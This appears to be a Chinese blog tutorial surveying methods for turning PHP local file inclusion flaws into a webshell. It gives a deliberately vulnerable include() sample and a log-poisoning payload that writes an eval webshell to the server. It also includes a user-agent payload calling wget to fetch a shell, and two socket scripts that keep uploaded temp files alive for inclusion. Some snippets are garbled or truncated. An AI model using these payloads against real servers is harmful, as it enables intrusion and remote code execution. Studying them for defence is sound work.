PHP安全之LFI漏洞GetShell方法大阅兵

/ 0评 / 0

AuthorengF Blog:www.81sec.com
0x00 题外话
关于PHP中LFI(Local File
Include,本地文件包含)漏洞很多朋友都不是很熟悉,其实网络上有很多这方面的资料,特别说国外的paper。虽然很多资料讲得不是很详细,但是大
家都懒得去测试,本文就给大家总结下,并讲述完整的利用方法。[separator]
0x01 LFI的GETSHELL思路
在讲述如何利用LFI来或者webshell之前,不得不提醒大家php5.3.4中截断的bug已经修复了,所以在一些情况下不能成功利用也不要奇怪。
1.包含上传文件
只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。
2.包含data:// 或者php://input 伪协议
利用该方法的前提是php.ini中allow_url_include=On,另外必须支持php://filter伪协议
我们来尝试这样一种情况,假设有文件包含漏洞代码如下:

<?php
$query=$_GET[&lsquo;p&rsquo;];
Include($query);
?>

在allow_url_include=On就是远程文件包含了,假设这里为off,那就只能本地包含了。那么我们如何利用,我们就来谈谈利用PHP Input/Ouput Wrapper获取webshell了。我给大家写了一个利用程序,如图01:

点击查看原图

这个漏洞的利用就到此了。这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。
3.日志包含log日志文件
日志包含,这个还是比较实用的,一般apache或者其他的日志都会比较大,而我们为什么能通过日志getwebshell?比如apache,当我们访
问一个网站的网页时,页面出错,服务器会记录访问的连接地址,如果我们带入恶意的代码那么这个就会被包含在日志文件中。所以我们一般的利用步骤是:
首先访问一个不可能存在页面并且携带恶意代码,比如邪恶代码为:
<?php fputs(fopen("/www/shell.php","W+"),"<?php eval($_POST[a]?>";?>
将它转换为url编码,然后访问
http://www.81sec.com/+urlencode(邪恶代码)
这个页面肯定不存在,那么在错误日志中就会形成一条这样日志,接下来,我们就包含这条日志:
= ... pache/www_error.log
apache路径需要自己去猜解,我这里只是给个实例,访问后就会生成一个shell了。
4.包含/proc/self/environ环境变量
个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样,如果

你访问/proc/self/environ有如图02:点击查看原图

看到这个代码就知道为什么利用这个Linux的环境变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的。
对于上面的LFI代码,我们可以这样利用:

如果能得到上图类似的内容说明有权限,就可以利用下面的方法得到webshell,我将两种方法。
方法一:借助firefox的插件user agent switch
利用方法很简单也很方便。我们先构造好自己的邪恶代码:
<?system(’wget -O shell.php’);?>

然后通过这个插件修改user-agent,如图03:

点击查看原图

先选择上图的Edit User Agents 然后按照你如图04设置:点击查看原图

完成后,访问/proc/self/environ即可。就可以得到shell了。这种方法从个人实践上来说相当的鸡肋。
方法二:自己用php写一个socket程序,发送http数据的时候记得修改user-agent选项为你的代码即可,具体的代码和上面第2种方法类似,留给大家去发挥了。
5.包含session文件
这个方法来自于k4shifz博客
php保存格式 sess_SESSIONID 默认位置是/tmp/和c:/windows/temp/ 。
关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有
move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接
。测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除
(前提是php.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个):

<?
/* 这个所用时间较少 , 会产生20个临时文件 */
set_time_limit(0);
$cmd = ’Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz
<?phpinfo()?>
--k4shifz_boundary
’;
$fs=fsockopen(’localhost’,80);
/* you can also use HTTP/1.1 */
fputs($fs,’POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
--k4shifz_boundary
’.$cmd);
while($fs)
{
fputs($fs,$cmd);
sleep(1);
}
fclose($fs);
exit;
?>
<?
/* 所用时间较长,会产生1个临时文件 */
set_time_limit(0);
$fs=fsockopen(’localhost’,80);
fputs($fs,’POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
--k4shifz_boundary
Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz
<?phpinfo()?>
--k4shifz_boundary--
’);
while($fs)
{
fputs($fs,’AAAA’);
sleep(1);
}
fclose($fs);
exit;
?>

我没有实战测试过,不敢胡说,大家自己测试吧。
6.包含其他由php程序创建的文件
这个方法一般是依赖于你对程序的了解,适用于白盒测试漏洞挖掘的时候利用。当你发现一个LFI,那么你就必须详细阅读这个程序的其他文件,有可能存在变量覆盖漏洞,可以利用变量覆盖漏洞来执行某些php代码。给大家一个例子,关于bo-blog的变量覆盖漏洞利用的两个。
最后扯淡下,大牛就绕过了,本文只是扫盲,实际应用过程中会有不同的情况,需要自己随机应变。
[参考文档]
[+]http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
[+]http://hi.baidu.com/kashifs/blog/item/7a4bbcff72cea90308244d2b.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注